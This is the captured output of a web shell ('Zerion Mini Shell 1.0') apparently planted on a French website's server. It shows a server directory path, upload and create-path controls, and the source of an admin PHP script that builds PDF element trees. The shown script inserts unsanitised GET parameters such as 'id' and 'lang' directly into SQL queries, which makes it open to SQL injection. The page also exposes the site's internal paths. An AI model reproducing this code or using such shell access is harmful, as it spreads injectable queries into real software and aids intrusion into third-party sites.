%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/alliance/domains/sedl.alnetis.fr/public_html/test/
Upload File :
Create Path :
Current File : /home/alliance/domains/sedl.alnetis.fr/public_html/test/a-tree_pdf.php

<?php
include_once("inc/config.php");
include_once("inc/functions.php");
include_once("inc/session.php");
include_once("inc/init.php");
verif_co_admin();
$edition=new Edition;
if(isset($_GET['edition'])){
	$this_edition['id']=$_GET['edition'];
}
else{
	$this_edition=$edition->getCurrentEdition("ins");
}
if(isset($_GET['id'])){
	$sql='SELECT * FROM pdf WHERE id='.$_GET['id'];
	$result=mysql_query($sql);
	$this_pdf=mysql_fetch_assoc($result);
	$lang_pdf=$this_pdf['lang'];
}
elseif(isset($_GET['lang'])){
	$lang_pdf=$_GET['lang'];
}
else{
	$lang_pdf=$_SESSION['lang'];
}

function getElem($elem,$lang_pdf){
	$return="";
	switch ($elem['type']){
		case "pays":
			$pays = new Pays;
			$unpays=$pays->getUnPays($elem['id_elem'],$lang_pdf);
			$return='<li id="bloc_'.$elem['id'].'"><div>'.$unpays['name'].'';
			break;
		case "section":
			$section = new Section;
			$sec = $section->getSection($elem['id_elem'],$lang_pdf);
			$return='<li id="bloc_'.$elem['id'].'"><div>'.$sec['titre'].'';
			break;
		case "activite":
			$page = new Page;
			$this_page = $page->infos_page($elem['id_elem'],$lang_pdf);
			$return='<li id="bloc_'.$elem['id'].'"><div>'.$this_page['titre'].'';
			break;
		case "sommaire":
			$return='<li id="bloc_'.$elem['id'].'"><div>Sommaire';
			break;
		case "campagne":
			$return='<li id="bloc_'.$elem['id'].'"><div>Campagne de communication';
			break;
		case "texte":
			$return='<li id="bloc_'.$elem['id'].'"><div>Texte ('.strip_tags(substrwords($elem['texte'],30)).') <a href="admin/add_pdf.php?id_elem='.$elem['id'].'&type=texte&pdf='.$_GET['id'].'">Editer</a> <a href="admin/supprimer_pdf.php?id_elem='.$elem['id'].'&pdf='.$_GET['id'].'">Supprimer</a>';
			break;
		case "titre":
			$return='<li id="bloc_'.$elem['id'].'"><div>Titre ('.strip_tags(substrwords($elem['texte'],30)).') <a href="admin/add_pdf.php?id_elem='.$elem['id'].'&type=titre&pdf='.$_GET['id'].'">Editer</a> <a href="admin/supprimer_pdf.php?id_elem='.$elem['id'].'&pdf='.$_GET['id'].'">Supprimer</a>';
			break;
		case "soustitre":
			$return='<li id="bloc_'.$elem['id'].'"><div>Sous Titre ('.strip_tags(substrwords($elem['texte'],30)).') <a href="admin/add_pdf.php?id_elem='.$elem['id'].'&type=soustitre&pdf='.$_GET['id'].'">Editer</a> <a href="admin/supprimer_pdf.php?id_elem='.$elem['id'].'&pdf='.$_GET['id'].'">Supprimer</a>';
			break;
		case "page":
			$return='<li id="bloc_'.$elem['id'].'"><div>Saut de page <a href="admin/supprimer_pdf.php?id_elem='.$elem['id'].'&pdf='.$_GET['id'].'">Supprimer</a>';
			break;
		
	}
	if($elem['actif']==1){
		$return.='<a href="#" class="eye visible" id="eye_'.$elem['id'].'"><img src="images/eye.png" alt="Visible" /></a></div>';
	}
	else{
		$return.='<a href="#" class="eye" id="eye_'.$elem['id'].'"><img src="images/eye_inv.png" alt="Masqué" /></a></div>';
	}
	return $return;
    
}
$bd = new BaseOps;

if(!isset($_GET['id'])){
	
	// sinon on en créé un nouveau
	// création de l'objet pdf 
	$sql='INSERT INTO `pdf` (`date`,`nom`,`lang`,`edition`) VALUES ("'.date("Y-m-d").'","pdf",'.$lang_pdf.','.$this_edition['id'].')';
	mysql_query($sql);
	$id_pdf=mysql_insert_id();
	
	
	// ensuite on créé l'arbre par défaut
	// pays/collectivités/activités
	$obj_pays=new Pays;
	$obj_section=new Section;
	$obj_activite=new Activite;
	$obj_page=new Page;
	
	
	$pays=$obj_pays->getPaysEdition($this_edition['id'],$lang_pdf);
	$sql='INSERT INTO `pdf_elem` (`id_pdf`,`parent`,`order`,`type`,`id_elem`) VALUES ('.$id_pdf.',0,0,"sommaire",0)';
	mysql_query($sql);
	foreach($pays as $key_pays=>$unpays){
		$sql='INSERT INTO `pdf_elem` (`id_pdf`,`parent`,`order`,`type`,`id_elem`) VALUES ('.$id_pdf.',0,'.($key_pays+1).',"pays",'.$unpays['id'].')';
		mysql_query($sql);
		$id_elem=mysql_insert_id();
		$sections=array_merge ( $obj_section->getVil($unpays['id'],$this_edition['id'],$lang_pdf),$obj_section->getCol($unpays['id'],$this_edition['id'],$lang_pdf),$obj_section->getAsso($unpays['id'],$this_edition['id'],$lang_pdf));
		foreach($sections as $key_section=>$section){
			$sql='INSERT INTO `pdf_elem` (`id_pdf`,`parent`,`order`,`type`,`id_elem`) VALUES ('.$id_pdf.','.$id_elem.','.$key_section.',"section",'.$section['id'].')';
			mysql_query($sql);
			$id_elem2=mysql_insert_id();
			$i=0;
			
			if($section['type']==2){
				$query = "SELECT c.*,cl.texte FROM `campagne` c LEFT JOIN `campagne_lang` cl ON c.id=cl.campagne WHERE c.valide=1 AND cl.lang=".$lang_pdf." AND c.section=".$section['id']." AND c.edition=".$this_edition['id'];
				echo $query;
				if($bd->count($query)>=1){
					$campagne=$bd->select_array($query);
					$sql='INSERT INTO `pdf_elem` (`id_pdf`,`parent`,`order`,`type`,`id_elem`) VALUES ('.$id_pdf.','.$id_elem2.','.$i.',"campagne",'.$campagne['id'].')';
					mysql_query($sql);
					$i++;
				}
			}
			$types_act=$obj_activite->getTypeActivite($section['profil'],$lang_pdf);
			foreach($types_act as $type_act){
				$activites=$obj_activite->getListActivite($section['id'],$type_act['id'],$lang_pdf,$this_edition['id'],"data");
				if($activites!=""){
					foreach($activites as $activite){
						$sql='INSERT INTO `pdf_elem` (`id_pdf`,`parent`,`order`,`type`,`id_elem`) VALUES ('.$id_pdf.','.$id_elem2.','.$i.',"activite",'.$activite['id'].')';
						mysql_query($sql);
						$i++;
					}
				}	
			}
		}
	}
	header("Location:tree_pdf.php?id=".$id_pdf."&msg=yes");
}
else{
	$id_pdf=$_GET['id'];
}
//affichage du html
include("theme/html.php");
//affichage des metas
include("theme/meta.php");
echo "\n<title>".$admtext->getText("edit_pdf",$lang_pdf)." - ".$info_titresite."</title>\n";
//affichage du header
include("theme/header_admin.php");

if($err) {
	echo "<p class=\"erreurbloc\">".$erreur."</p>";
}
if($yes) {
	echo "<p class=\"infobloc\">Opération effectuée</p>";
}
if($_GET['msg']=="yes") {
	echo "<p class=\"infobloc\">Opération effectuée</p>";
}
?>
<div class="bouton_admin">
	<a id="gene_pdf" target="_blank" href="admin/creer_pdf.php?id=<?=$id_pdf?>">Voir le pdf</a>
	<a href="admin/add_pdf.php?pdf=<?=$id_pdf?>&type=texte">Ajouter un texte</a>
	<a href="admin/add_pdf.php?pdf=<?=$id_pdf?>&type=titre">Ajouter un titre</a>
	<a href="admin/add_pdf.php?pdf=<?=$id_pdf?>&type=soustitre">Ajouter un sous titre</a>
	<a href="admin/add_pdf.php?pdf=<?=$id_pdf?>&type=page">Ajouter un saut de page</a>

</div>


<?





$tab_retour=array();
$sql='SELECT * FROM pdf_elem WHERE id_pdf='.$id_pdf.' AND parent=0 ORDER BY `order`';
$niveau1_items=$bd->select_arrays($sql);

echo '<ol id="tree_sortable" class="sortable">';
foreach($niveau1_items as $key1=>$niveau1_item){
	$tab_retour[$key1]=$niveau1_item;
	//ouvrante
	echo getElem($niveau1_item,$lang_pdf);
	
	$sql='SELECT * FROM pdf_elem WHERE id_pdf='.$id_pdf.' AND parent='.$niveau1_item['id'].' ORDER BY `order`';
	$niveau2_items=$bd->select_arrays($sql);
	if($niveau2_items!=null){
		echo '<ol>';
		foreach($niveau2_items as $key2=>$niveau2_item){
			echo getElem($niveau2_item,$lang_pdf);
			$tab_retour[$key1][$key2]=$niveau2_item;
			$sql='SELECT * FROM pdf_elem WHERE id_pdf='.$id_pdf.' AND parent='.$niveau2_item['id'].' ORDER BY `order`';
			$niveau3_items=$bd->select_arrays($sql);
			if($niveau3_items!=null){
				echo '<ol>';
				foreach($niveau3_items as $key3=>$niveau3_item){
					echo getElem($niveau3_item,$lang_pdf);
					$tab_retour[$key1][$key2][$key3]=$niveau3_item;
					echo '</li>';
				}
				echo '</ol>';
			}
			echo '</li>';
		}
		
		echo '</ol>';
	}
	//fermante
	echo '</li>';
}
echo '</ol>';



?>

<script type="text/javascript">
	$(document).ready(function(){

		$('#tree_sortable').nestedSortable({
			disableNesting: 'no-nest',
			forcePlaceholderSize: true,
			handle: 'div',
			helper:	'clone',
			items: 'li',
			maxLevels: 3,
			opacity: .6,
			placeholder: 'placeholder',
			revert: 250,
			tabSize: 25,
			tolerance: 'pointer',
			toleranceElement: '> div',
			update: function () {
				list = $(this).nestedSortable('toHierarchy', {startDepthCount: 0});
				$.post(
					'ajax.php',
					{ update_sql: 'ok', list: list },
					function(data){
						//alert(data);
						//$("#result").hide().html(data).fadeIn('slow')
					}
				);
			}

		});
		
		$(".eye").click(function(){
			var attr_id = $(this).attr('id').match((/(.+)[-=_](.+)/));
			var id = attr_id[2];
			
			if($(this).hasClass('visible')){
				$(this).removeClass('visible');
				$("img",this).attr("src","images/eye_inv.png");
				$("img",this).attr("alt","Masqué");
				var actif=0;
			}
			else{
				$(this).addClass('visible');
				$("img",this).attr("src","images/eye.png");
				$("img",this).attr("alt","Visible");
				var actif=1;
			}
			
			$.post(
				'ajax.php',
				{ id: id, action: 'activer', actif:actif },
				function(data){
					//alert(data);
					//$("#result").hide().html(data).fadeIn('slow')
				}
			);
			
			
			return false;
		});
		
		
		
	});
	
	
</script>

Zerion Mini Shell 1.0